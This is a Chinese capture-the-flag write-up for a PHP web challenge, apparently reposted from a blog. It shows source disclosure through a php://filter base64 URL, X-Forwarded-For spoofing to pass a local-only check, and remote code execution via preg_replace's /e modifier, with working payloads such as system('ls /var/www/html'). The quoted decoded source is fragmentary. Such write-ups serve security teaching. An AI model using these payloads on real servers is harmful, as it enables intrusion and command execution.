本文共 2395 字,大约阅读时间需要 7 分钟。
因为是php的页面,我们试试php伪协议读取文件
http://220.249.52.133:39554/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
设备维护中心
0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> Welcome My Admin ! "; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); }}?>
这是我们解密出来的文件内容
发现了一个输入的函数 他如果是字母和数字组合的话,输出page内容,同时die掉 如果不是字母和数字的组合的话, 走如下的else page中不能存在input,ta:text,text,而且不能是在page的开头处存在,否则就die掉 如果page中包含index。php,那就输出ok,然后包含page这个文件最后还有一个内部人员的测试版本,如果要从内部访问的话,
其实本地的命令执行就可以进行使用这个函数 首先伪造xff pattern,replacement,subject,同时有值的话 preg_replace,搜索subject中 pattern的字符串,同时替换为replacement/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
也就是说pattern参数的结尾包含了/e修正符的话,如果replacement构成合法的代码的话便会执行
我们使用插件,成功的模拟了本地访问
我们来一波Rce 要注意字符串两个相匹配?pat=/heihei/e&rep=system('ls /var/www/html')&sub=heihei
我们使用一下find命令 ?pat=/heihei/e&rep=system('find -name *flag*')&sub=heihei
//判断是否是字母和数字或字母数字的字符串组合if(!ctype_alnum($str)){ echo '只能是字母或数字的组合';exit;}
查询某个字符串在某个字符串中第一次出现的位置
IP伪造
TCP/IP层面的IP伪造很难实现,因为更改后很难实现正常的TCP通信,但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造
XFF字段
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式:
X-Forwarded-For: client1, proxy1, proxy2, proxy3
左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)伪造方式
可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数
使用X-Fordward-For 火狐插件即可转载地址:http://bgugf.baihongyu.com/